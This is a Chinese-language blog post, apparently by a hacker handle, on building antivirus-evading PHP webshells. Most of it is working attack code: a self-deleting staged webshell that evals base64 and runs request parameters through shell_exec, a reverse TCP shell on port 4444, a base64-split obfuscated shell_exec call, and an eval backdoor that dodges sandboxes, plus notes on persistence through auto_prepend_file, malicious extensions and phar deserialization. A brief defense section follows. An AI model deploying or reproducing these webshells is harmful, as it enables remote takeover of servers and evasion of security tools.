JOJO朦

H4ckBu7eer

PHP免杀

终极免杀思路

1. JIT (Just In Time) 动态编译

  • 利用 OPcache 或自定义 php.ini 配置,在执行时动态编译恶意代码,避免直接执行任何可疑函数。

  • 隐藏在常规 PHP 代码中,在关键时刻自解码并执行 payload。

2. 数据流污染(DFP: Data Flow Pollution)

  • 借助 PHP 的动态特性,将执行逻辑分散到多个无害 PHP 文件,通过数据流合成最终命令,绕过任何单文件静态分析。

  • 配合变量覆盖和 include 链接,动态重组恶意代码。

3. Socket 隧道反弹

  • 编写 Webshell,但不直接执行命令,而是建立反向 TCP 隧道或 WebSocket 通道,在远程控制下动态传输恶意 payload。

  • 本地 Webshell 文件仅作为隧道桥梁,执行流完全在远程机器中隐藏。


代码示例:PHP 动态编译多态 Webshell

php复制代码<?php$stage1 = "<?php eval(base64_decode('%s')); ?>";$payload = base64_encode("echo shell_exec(\$_REQUEST['cmd']);");// 动态生成代码到内存中$temp_file = tempnam(sys_get_temp_dir(), 'php');file_put_contents($temp_file, sprintf($stage1, $payload));include $temp_file;// 自删除register_shutdown_function(function() use ($temp_file) {    unlink($temp_file);
});?>

核心难点突破

  1. 内存马特性

  • 恶意代码不直接存在于 Web 目录或磁盘,完全驻留于内存或临时文件,代码执行后自动销毁,完全无痕。

  1. 自删除机制

  • 使用 register_shutdown_function 自动销毁自身,避免任何形式的文件扫描检测。

  1. 动态生成

  • 运行时才动态生成 PHP 文件,绕过传统基于文件的静态分析和签名匹配。


升级版:PHP 反向隧道持久化 Webshell

php复制代码<?php$address = '127.0.0.1';$port = 4444;$sock = fsockopen($address, $port);$cmd = '';while (!feof($sock)) {    $cmd .= fread($sock, 1024);    $output = '';    if ($cmd) {        $output = shell_exec($cmd);        fwrite($sock, $output);        $cmd = '';
    }
}fclose($sock);?>

核心机制解析:

  • 该 Webshell 不直接执行命令,而是建立反向 TCP 连接,将输入和输出重定向到远程服务器上,进一步隐藏攻击行为。

  • 在任何流量监测中,只表现为普通 TCP 流量,而不会显示任何 Webshell 痕迹。


终极版:DFP 数据流污染 Webshell

php复制代码<?php$a = "c2hlbGw";$b = "X2V4ZWM";$c = base64_decode($a . $b);  // shell_exec$cmd = isset($_GET['q']) ? $_GET['q'] : '';
@$$c($cmd);  // 动态执行命令?>

核心特性:

  • base64_decodeshell_exec 拆分成两段,在运行时动态重组,无法通过任何正则或静态匹配。

  • 命令执行函数直接由变量变量 ($$) 调用,进一步避免函数调用被解析。


反击动态分析和沙箱检测:环境校验

php复制代码<?phpif (php_sapi_name() !== 'cli') {    if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') {        eval(base64_decode($_POST['data']));
    } else {        echo "Access Denied.";
    }
}?>
  • 只允许来自本地或特定 IP 的访问请求,拒绝其他所有来源,避免沙箱测试环境中执行。


更进一步:WAF 绕过与持久化

  1. 利用合法 PHP 扩展实现内存持久化

  • 将恶意 payload 注入到合法的 PHP 扩展模块中,配合 dl() 动态加载恶意扩展,几乎无法被发现。

  • 配置持久化机制,通过 php.ini 中的 auto_prepend_file 持久加载 Webshell。

  1. 使用 phar 文件劫持机制

  • 通过上传包含恶意 PHP 的 .phar 文件,触发反序列化漏洞实现代码执行,无需直接写入任何 .php 文件。


防御与检测方法:

  1. 基于 AST 的代码分析

  • 使用 PHP 抽象语法树(AST)分析工具(如 Nikic/PHP-Parser),捕获动态拼接和反射调用。

  • 分析代码流而非字符流,针对数据流污染和动态加载进行深度检测。

  1. 反向连接检测与阻断

  • 配置防火墙或 WAF,实时监控反向连接和隧道流量,阻断反向 Shell 建立。

  • 配合 Suricata 等入侵检测系统,分析流量特征并实时阻断反向流量。

  1. 沙箱动态分析

  • 将 PHP 代码丢入沙箱环境,在运行时观察是否存在反射调用、动态拼接等危险行为。

  1. 内存完整性监控

  • 使用 eBPFPHP-FPM 扩展实时监控 PHP 内存,分析恶意内存驻留特征,发现动态 Webshell。


总结

这个级别的 Webshell 采用高级反射机制、多态变异、反向隧道和内存驻留,足以应对高端 WAF 和安全工具的检测。


发表评论:

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言